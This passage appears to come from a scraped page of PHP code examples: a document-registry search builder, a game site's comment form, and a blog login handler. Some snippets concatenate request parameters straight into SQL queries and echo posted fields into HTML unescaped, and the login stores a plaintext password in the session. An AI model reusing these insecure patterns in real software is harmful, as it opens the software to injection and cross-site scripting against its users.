        $hasta = $ps_desde_RADI_FECH_RADI . " " . $ps_hora_final . ":59:59";
        $HasParam = true;
        $sWhere = $sWhere . "R.RADI_FECH_RADI>=to_date('" . $desde . "','dd/mm/yyyy HH24:MI:ss')";
        $sWhere .= " and ";
        $sWhere = $sWhere . "R.RADI_FECH_RADI<=to_date('" . $hasta . "','dd/mm/yyyy HH24:MI:ss')";
    }
    $ps_RADI_DEPE_RADI = get_param("s_RADI_DEPE_RADI");
    if (is_number($ps_RADI_DEPE_RADI) && strlen($ps_RADI_DEPE_RADI)) {
        $ps_RADI_DEPE_RADI = tosql($ps_RADI_DEPE_RADI, "Number");
    } else {
        $ps_RADI_DEPE_RADI = "";
    }
    if (strlen($ps_RADI_DEPE_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        //se busca en el radicado donde sea like 'yyyyDEP%'
        $sWhere = $sWhere . "R.RADI_NUME_RADI LIKE '" . substr($ps_desde_RADI_FECH_RADI, 6, 4) . $ps_RADI_DEPE_RADI . "%'";
    } else {
        $bReq = false;
    }
    if ($HasParam) {
        $sWhere = " WHERE (" . $sWhere . ")";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    $sSQL = "select R.RADI_DEPE_RADI as R_RADI_DEPE_RADI, " . "R.RADI_DESC_ANEX as R_RADI_DESC_ANEX, " . "to_char(R.RADI_FECH_RADI,'dd/mm/yyyy hh24:mi:ss') as R_RADI_FECH_RADI, " . "R.RADI_NUME_HOJA as R_RADI_NUME_HOJA, " . "R.RADI_NUME_RADI as R_RADI_NUME_RADI, " . "R.RA_ASUN as R_RA_ASUN " . " from RADICADO R ";
    //-------------------------------
    //-------------------------------
    // RADICADO Open Event begin
    $sSQLCount = "Select count(*) as Total from radicado R " . $sWhere;
    $db->query($sSQLCount);
    $next_record = $db->next_record();
    $fldTotal = $db->f("TOTAL");
    // RADICADO Open Event end
    //-------------------------------
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $sOrder;
    if ($sCountSQL == "") {
        $iTmpI = strpos(strtolower($sSQL), "select");
        $iTmpJ = strpos(strtolower($sSQL), "from") - 1;
        $sCountSQL = str_replace(substr($sSQL, $iTmpI + 6, $iTmpJ - $iTmpI - 6), " count(*) ", $sSQL);
        $iTmpI = strpos(strtolower($sCountSQL), "order by");
        if ($iTmpI > 1) {
            $sCountSQL = substr($sCountSQL, 0, $iTmpI - 1);
        }
    }
    //-------------------------------
    //-------------------------------
    // Process if form has all required parameters
    //-------------------------------
    if (!$bReq) {
        ?>
     <tr>
      
    <td colspan="5" class="DataTD" height="25"><font class="DataFONT">No records</font></td>
     </tr>
</table>
<?php 
        return;
    }
    //-------------------------------
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->query($sSQL);
    $next_record = $db->next_record();
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if (!$next_record) {
        ?>
     <tr>
      <td colspan="5" class="DataTD"><font class="DataFONT">No records</font></td>
     </tr>
<?php 
        ?>
  </table>
<?php 
        return;
    }
    //-------------------------------
    ?>
     <tr>
      <td colspan="5" class="DataTD"><font class="DataFONT"><b>Total Registros: <?php 
    echo $fldTotal;
    ?>
</b></font></td>
     </tr>

<?php 
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iRecordsPerPage = 2000;
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------
    while ($next_record && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldRA_ASUN = $db->f("R_RA_ASUN");
        $fldRADI_DESC_ANEX = $db->f("R_RADI_DESC_ANEX");
        $fldRADI_FECH_RADI = $db->f("R_RADI_FECH_RADI");
        $fldRADI_NUME_HOJA = $db->f("R_RADI_NUME_HOJA");
        $fldRADI_NUME_RADI = $db->f("R_RADI_NUME_RADI");
        $next_record = $db->next_record();
        //-------------------------------
        // RADICADO Show begin
        //-------------------------------
        //-------------------------------
        // RADICADO Show Event begin
        // RADICADO Show Event end
        //-------------------------------
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        ?>
      <tr>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_NUME_RADI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRA_ASUN);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_FECH_RADI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_NUME_HOJA);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_DESC_ANEX);
        ?>
&nbsp;</font></td>
      </tr><?php 
        //-------------------------------
        // RADICADO Show end
        //-------------------------------
        //-------------------------------
        // Move to the next record and increase record counter
        //-------------------------------
        $iCounter++;
    }
    //-------------------------------
    // Finish form processing
    //-------------------------------
    ?>
    </table>
  <?php 
    //-------------------------------
    // RADICADO Close Event begin
    // RADICADO Close Event end
    //-------------------------------
}

示例#12

文件： r.inc.php 项目： GaabrieeLp/warzone2100

function comments($id, $root = '')
{
    global $_PERSIST, $isauth, $isadmin, $falsecookie, $forgotten;
    $posted = false;
    if ($id[1] == '/') {
        $comments =& $_PERSIST[$id[0]]['subdirs'][substr($id, 2)];
    } else {
        $comments =& $_PERSIST[$id];
    }
    echo '<h3 style="margin-top:100px" id="comments">Commentary</h3>';
    if ($_POST['msg']) {
        if (!($_POST['name'] = trim($_POST['name'])) || strlen($_POST['name']) > 64) {
            echo '<p style="color:red">Error: Name is invalid.</p>';
        }
        if (!$isauth && simplify($_REQUEST['captcha']) != 'machinegun' && simplify($_REQUEST['captcha']) != 'mg') {
            echo '<p style="color:red">Error: Wrong answer.</p>';
        } else {
            if ($isadmin) {
                $comments[] = array('name' => stripslashes($_POST['name']), 'msg' => stripslashes($_POST['msg']), 'time' => time(), 'admin' => true);
            } else {
                $comments[] = array('name' => stripslashes($_POST['name']), 'msg' => stripslashes($_POST['msg']), 'time' => time());
            }
            if (persist_update()) {
                $posted = true;
            } else {
                echo '<p style="color:red">Error: Internal server error. Please try again later.</p>';
            }
        }
    } else {
        if ($_POST['remember'] && !$isauth && simplify($_REQUEST['captcha']) != 'machinegun' && simplify($_REQUEST['captcha']) != 'mg') {
            echo '<p class="msg" style="color:red">Error: Wrong answer.</p>';
        }
    }
    if ($comments) {
        foreach ($comments as $i => $comment) {
            if (count($comments) > 10 && $i == 0) {
                echo '<div id="morecomments">';
            }
            if (count($comments) > 10 && $i == count($comments) - 10) {
                ?>
</div>
<script type="text/javascript">
<!--
document.getElementById('morecomments').style.display = 'none';
document.write('<p class="backforward" id="morecommentslink" style="text-align: left;"><a href="#comments" onclick="return morecomments();">Earlier comments</a></p>');
function morecomments()
{
	document.getElementById('morecomments').style.display = 'block';
	document.getElementById('morecommentslink').style.display = 'none';
	return false;
}
-->
</script>
<?php 
            }
            echo '<p><em><strong>' . htmlspecialchars($comment['name']) . '</strong>' . ($comment['admin'] ? ' <span style="color:#556688;font-size:10pt;">[Admin]</span>' : '') . ' wrote ' . onreldate($comment['time']) . ':</em></p><blockquote><p>' . ($comment['htmlcomment'] ? $comment['msg'] : nl2br(htmlspecialchars($comment['msg']))) . '</p></blockquote>';
        }
    } else {
        echo '<p><em>No comments yet.</em></p>';
    }
    echo '<h4>Add a comment</h4>';
    if ($posted) {
        echo '<p class="msg">Success!</p>';
    }
    echo '<form action="' . $root . (tourl($id) == 'index' ? './' : tourl($id)) . '#comments" method="post" onsubmit="if (!document.getElementById(\'captcha\').value) {alert(\'Please answer the question. (Hint: The answer is machinegun)\');return false;}"><p id="testparagraph">Name:<br /><input type="text" class="textbox" name="name" value="' . ($_POST['name'] ? $_POST['name'] : $_COOKIE['name']) . '" size="20" /> <input type="checkbox" name="remember" id="remember" value="remember"' . ($_COOKIE['name'] ? ' checked="checked" />' : ' />') . '<label for="remember">Remember name</label><br />Message:<br /><textarea class="textbox" id="msg" name="msg" rows="8" cols="40">' . ($posted ? '' : $_REQUEST['msg']) . '</textarea><br />' . ($isauth && $_COOKIE['name'] && !$falsecookie || $isadmin ? '' : 'To prove you are not a spammer, you must correctly answer this question:<br />The first weapon you get in the single-player campaign is?<br /><input class="textbox" type="text" name="captcha" id="captcha" value="' . ($isauth ? 'machinegun' : $_REQUEST['captcha']) . '" /><br />(<em>Hint: The answer is machinegun</em>)<br />') . '<br /><input type="submit" value="Submit" /></p></form>';
    ?>
<script>
<!--
document.getElementById('msg').style.width = ''+(document.getElementById('testparagraph').offsetWidth-10>650?650:document.getElementById('testparagraph').offsetWidth-10)+'px';
if (document.getElementById('testparagraph').offsetWidth-10>650) document.getElementById('msg').style.height = '200px';
-->
</script>
<?php 
    if ($forgotten) {
        echo '<p class="msg">Your name has been forgotten.</p>';
    }
    if ($_COOKIE['name']) {
        echo '<form action="' . $root . (tourl($id) == 'index' ? './' : tourl($id)) . '#comments" method="post"><input type="submit" class="small" name="forget" value="Forget name" /></form>';
    }
}

示例#13

文件： login.php 项目： sg-first/YMmd-Blog

<?php

//这玩意是那个login.html对应的PHP文件，但那个还没画
//在执行这个文件时，用户传入了一个登陆密码和登陆之后要干的事的表单
require_once dirname(__FILE__) . '/help.php';
if (!isset($_POST['submit'])) {
    exit('非法访问!');
}
$password = $_POST['password'];
ValidaPassword($password);
//没exit掉就是登录成功
session_start();
$_SESSION['password'] = $password;
//查看登陆行为
$action = $_POST['action'];
if ($action === 'upload') {
    tourl("upload.php");
}
if ($action === 'generate') {
    tourl("generate.php");
}

示例#14

文件： busquedaPiloto.php 项目： BackupTheBerlios/comeet-svn

function Ciudadano_show($nivelus, $tpRemDes, $whereFlds)
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db2;
    global $db3;
    global $sRADICADOErr;
    global $sFileName;
    global $styles;
    global $ruta_raiz;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $db = new ConnectionHandler($ruta_raiz);
    if ($tpRemDes == 1) {
        $tpRemDesNombre = "Por Ciudadano";
    }
    if ($tpRemDes == 2) {
        $tpRemDesNombre = "Por Otras Empresas";
    }
    if ($tpRemDes == 3) {
        $tpRemDesNombre = "Por Entidad";
    }
    if ($tpRemDes == 4) {
        $tpRemDesNombre = "Por Funcionario";
    }
    if ($tpRemDes == 9) {
        $tpRemDesNombre = "";
        $whereTrd = "   ";
    } else {
        $whereTrd = " and dir.sgd_trd_codigo = {$whereFlds}  ";
    }
    $sFormTitle = "Radicados encontrados {$tpRemDesNombre}";
    $HasParam = false;
    $iRecordsPerPage = 25;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    //Proceso de Vinculacion documentos
    $indiVinculo = get_param("indiVinculo");
    $verrad = get_param("verrad");
    $carpeAnt = get_param("carpeAnt");
    $nomcarpeta = get_param("nomcarpeta");
    //
    //$db->conn->debug=true;
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    //$sOrder = " order by r.RADI_NUME_RADI ";
    $sOrder = " order by r.radi_fech_radi ";
    $iSort = get_param("FormCIUDADANO_Sorting");
    $iSorted = get_param("FormCIUDADANO_Sorted");
    $krd = get_param("krd");
    $form_params = trim(session_name()) . "=" . trim(session_id()) . "&krd={$krd}&verrad={$verrad}&indiVinculo={$indiVinculo}&carpeAnt={$carpeAnt}&nomcarpeta={$nomcarpeta}&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_PCLAVE=" . tourl(get_param("s_PCLAVE")) . "&s_PCLAVEE=" . tourl(get_param("s_PCLAVEE")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&s_ciudadano=" . tourl(get_param("s_ciudadano")) . "&s_empresaESP=" . tourl(get_param("s_empresaESP")) . "&s_oEmpresa=" . tourl(get_param("s_oEmpresa")) . "&s_FUNCIONARIO=" . tourl(get_param("s_FUNCIONARIO")) . "&s_entrada=" . tourl(get_param("s_entrada")) . "&s_salida=" . tourl(get_param("s_salida")) . "&nivelus={$nivelus}&s_Listado=" . get_param("s_Listado") . "&s_SGD_EXP_SUBEXPEDIENTE=" . get_param("s_SGD_EXP_SUBEXPEDIENTE") . "&";
    // s_Listado s_ciudadano s_empresaESP s_FUNCIONARIO
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC ";
            $sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = "  ";
            $sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . "&";
        }
        switch ($iSort) {
            case 1:
                $sOrder = " order by r.radi_nume_radi" . $sDirection;
                break;
            case 2:
                $sOrder = " order by r.radi_fech_radi" . $sDirection;
                break;
            case 3:
                $sOrder = " order by r.ra_asun" . $sDirection;
                break;
            case 4:
                $sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
                break;
            case 5:
                $sOrder = " order by r.radi_nume_hoja" . $sDirection;
                break;
            case 6:
                $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
                break;
            case 7:
                $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
                break;
            case 8:
                $sOrder = " order by dir.sgd_dir_mail" . $sDirection;
                break;
            case 9:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 12:
                $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
                break;
            case 13:
                $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
                break;
            case 14:
                $sOrder = " order by dir.sgd_dir_doc" . $sDirection;
                break;
            case 17:
                $sOrder = " order by r.radi_usu_ante" . $sDirection;
                break;
            case 20:
                $sOrder = " order by r.radi_pais" . $sDirection;
                break;
            case 21:
                $sOrder = " order by diasr" . $sDirection;
                break;
            case 22:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 23:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 24:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 25:
                $sOrder = " order by r.radi_arch4" . $sDirection;
                break;
            case 26:
                $sOrder = " order by SEXP.SGD_SEXP_PAREXP5" . $sDirection;
                break;
        }
    }
    //-------------------------------
    // Encabezados HTML de las Columnas
    //-------------------------------
    ?>
<table width="2000" border=0 cellpadding=0 cellspacing=0 class='borde_tab'>
	<tr>
		<td class="titulos4" colspan="20"><a name="RADICADO"><?php 
    echo $sFormTitle;
    ?>
</a></td>
	</tr>
	<tr>
	<?php 
    if ($indiVinculo == 1) {
        ?>
		<td class="titulos5"><font class="ColumnFONT"> </td>
	<?php 
    }
    ?>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=1&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Radicado</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=2&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Fecha Radicacion</a></td>
        <!--
        B�squeda por par�meto del expediente
        Fecha de modificaci�n: 11-Agosto-2006
        Modificador: Supersolidaria
        -->
        <td class="titulos5"><font class="ColumnFONT">Expediente</td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=3&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Asunto</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=25&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Palabras Clave Radicado</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=26&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Palabras Clave Expediente</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=4&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Tipo de Documento</a></td>
		<td class="titulos5"><font class="ColumnFONT">Tipo</td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=5&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Numero de Hojas</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=6&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Direccion contacto</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=7&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Telefono contacto</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=8&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Mail Contacto</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=23&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Dignatario</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=9&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Nombre </a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=14&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Documento</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=15&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Usuario Actual</a></td>
		<td class="titulos5"><font class="ColumnFONT">Dependencia Actual</td>
		<td class="titulos5"><font class="ColumnFONT">Usuario Anterior</td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=20&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Pais</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=21&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Dias Restantes</a></td>
	</tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    // Se crea la $ps_desde_RADI_FECH_RADI con los datos ingresados.
    //------------------------------------
    $ps_desde_RADI_FECH_RADI = mktime(0, 0, 0, get_param("s_desde_mes"), get_param("s_desde_dia"), get_param("s_desde_ano"));
    $ps_hasta_RADI_FECH_RADI = mktime(23, 59, 59, get_param("s_hasta_mes"), get_param("s_hasta_dia"), get_param("s_hasta_ano"));
    if (strlen($ps_desde_RADI_FECH_RADI) && strlen($ps_hasta_RADI_FECH_RADI)) {
        $HasParam = true;
        $sWhere = $sWhere . $db->conn->SQLDate('Y-m-d', 'r.radi_fech_radi') . " >= " . $db->conn->DBDate($ps_desde_RADI_FECH_RADI);
        //$sWhere = $sWhere . "r.radi_fech_radi>=".$db->conn->DBTimeStamp($ps_desde_RADI_FECH_RADI) ; //by HLP.
        $sWhere .= " and ";
        $sWhere = $sWhere . $db->conn->SQLDate('Y-m-d', 'r.radi_fech_radi') . " <= " . $db->conn->DBDate($ps_hasta_RADI_FECH_RADI);
        //$sWhere = $sWhere . "r.radi_fech_radi<=".$db->conn->DBTimeStamp($ps_hasta_RADI_FECH_RADI); //by HLP.
    }
    /* Se recibe la dependencia actual para bsqueda */
    $ps_RADI_DEPE_ACTU = get_param("s_RADI_DEPE_ACTU");
    if (is_number($ps_RADI_DEPE_ACTU) && strlen($ps_RADI_DEPE_ACTU)) {
        $ps_RADI_DEPE_ACTU = tosql($ps_RADI_DEPE_ACTU, "Number");
    } else {
        $ps_RADI_DEPE_ACTU = "";
    }
    if (strlen($ps_RADI_DEPE_ACTU)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_depe_actu=" . $ps_RADI_DEPE_ACTU;
    }
    /* Se recibe el nmero del radicado para bsqueda */
    $ps_RADI_NUME_RADI = get_param("s_RADI_NUME_RADI");
    $ps_DOCTO = get_param("s_DOCTO");
    if (strlen($ps_RADI_NUME_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_nume_radi like " . tosql("%" . trim($ps_RADI_NUME_RADI) . "%", "Text");
    }
    if (strlen($ps_DOCTO)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . " dir.SGD_DIR_DOC = '{$ps_DOCTO}' ";
    }
    /**
     * Se recibe el n�mero del expediente para b�squeda
     * Fecha de modificaci�n: 30-Junio-2006
     * Modificador: Supersolidaria
     */
    $ps_SGD_EXP_SUBEXPEDIENTE = get_param("s_SGD_EXP_SUBEXPEDIENTE");
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . " R.RADI_NUME_RADI = EXP.RADI_NUME_RADI";
        $sWhere = $sWhere . " AND EXP.SGD_EXP_NUMERO = SEXP.SGD_EXP_NUMERO";
        /**
         * No se tienen en cuenta los radicados que han sido excluidos de un expediente.
         * Fecha de modificaci�n: 12-Septiembre-2006
         * Modificador: Supersolidaria
         */
        $sWhere = $sWhere . " AND EXP.SGD_EXP_ESTADO <> 2";
        $sWhere = $sWhere . " AND ( EXP.SGD_EXP_NUMERO LIKE '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%'";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP1 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP2 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP3 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP4 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP5 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " )";
    }
    /* Se decide si busca en radicado de entrada o de salida o ambos */
    $ps_entrada = strip(get_param("s_entrada"));
    $eLen = strlen($ps_entrada);
    $ps_salida = strip(get_param("s_salida"));
    $sLen = strlen($ps_salida);
    if ($ps_entrada != "9999") {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "(r.radi_nume_radi like " . tosql("%" . trim($ps_entrada), "Text") . ")";
    }
    /* Se recibe el tipo de documento para la bsqueda */
    $ps_TDOC_CODI = get_param("s_TDOC_CODI");
    if (is_number($ps_TDOC_CODI) && strlen($ps_TDOC_CODI) && $ps_TDOC_CODI != "9999") {
        $ps_TDOC_CODI = tosql($ps_TDOC_CODI, "Number");
    } else {
        $ps_TDOC_CODI = "";
    }
    if (strlen($ps_TDOC_CODI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.tdoc_codi=" . $ps_TDOC_CODI;
    }
    /* Se recibe la caadena a buscar y el tipo de busqueda (All) (Any) */
    $ps_RADI_NOMB = strip(get_param("s_RADI_NOMB"));
    $ps_PCLAVE = strip(get_param("s_PCLAVE"));
    $ps_PCLAVEE = strip(get_param("s_PCLAVEE"));
    $ps_solo_nomb = get_param("s_solo_nomb");
    $yaentro = false;
    if ($ps_PCLAVE != "") {
        $ps_PCLAVE = strtoupper($ps_PCLAVE);
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere .= " ";
        $tok = strtok($ps_PCLAVE, ",");
        $sWhere .= "(";
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " or ";
            }
            $sWhere .= "UPPER(r.RADI_ARCH4) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ")";
    }
    if ($ps_PCLAVEE != "") {
        $ps_PCLAVEE = strtoupper($ps_PCLAVEE);
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere .= " ";
        $tok2 = strtok($ps_PCLAVEE, ",");
        $sWhere .= "(";
        while ($tok2) {
            $sWhere .= "";
            if ($yaentro2 == true) {
                $sWhere .= " or ";
            }
            $sWhere .= "UPPER(SEXP.SGD_SEXP_PAREXP5) LIKE '%" . $tok2 . "%' ";
            $tok2 = strtok(" ");
            $yaentro2 = true;
        }
        $sWhere .= ")";
    }
    if (strlen($ps_RADI_NOMB)) {
        if ($sWhere != "") {
            $sWhere .= " and (";
        }
        $HasParam = true;
        $sWhere .= " ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        $sWhere .= "(";
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(dir.sgd_dir_nomremdes) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ") or (";
        $tok = strtok($ps_RADI_NOMB, " ");
        $yaentro = false;
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(dir.sgd_dir_nombre) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ") or (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        if ($yaentro == true) {
            $sWhere .= " and (";
        }
        $sWhere .= "UPPER(" . $db->conn->Concat("r.ra_asun", "r.radi_cuentai", "dir.sgd_dir_telefono", "dir.sgd_dir_direccion") . ") LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        if ($yaentro == true) {
            $sWhere .= ")";
        }
        $yaentro = true;
        $sWhere .= "))";
    }
    if (strlen($ps_RADI_NOMB) && $ps_solo_nomb == "AllTTT") {
        if ($sWhere != "") {
            $sWhere .= " AND (";
        }
        $HasParam = true;
        $sWhere .= " ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        $sWhere .= "(";
        $sWhere .= "";
        if ($yaentro == true) {
            $sWhere .= " AND ";
        }
        $sWhere .= "UPPER(dir.sgd_dir_nomremdes) LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        $yaentro = true;
        $sWhere .= ") OR (";
        $tok = strtok($ps_RADI_NOMB, " ");
        $yaentro = false;
        $sWhere .= "";
        if ($yaentro == true) {
            $sWhere .= " AND ";
        }
        $sWhere .= "UPPER(dir.sgd_dir_nombre) LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        $yaentro = true;
        $sWhere .= ") OR (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        if ($yaentro == true) {
            $sWhere .= " AND (";
        }
        $sWhere .= "UPPER(" . $db->conn->Concat("r.ra_asun", "r.radi_cuentai", "dir.sgd_dir_telefono", "dir.sgd_dir_direccion") . ") LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
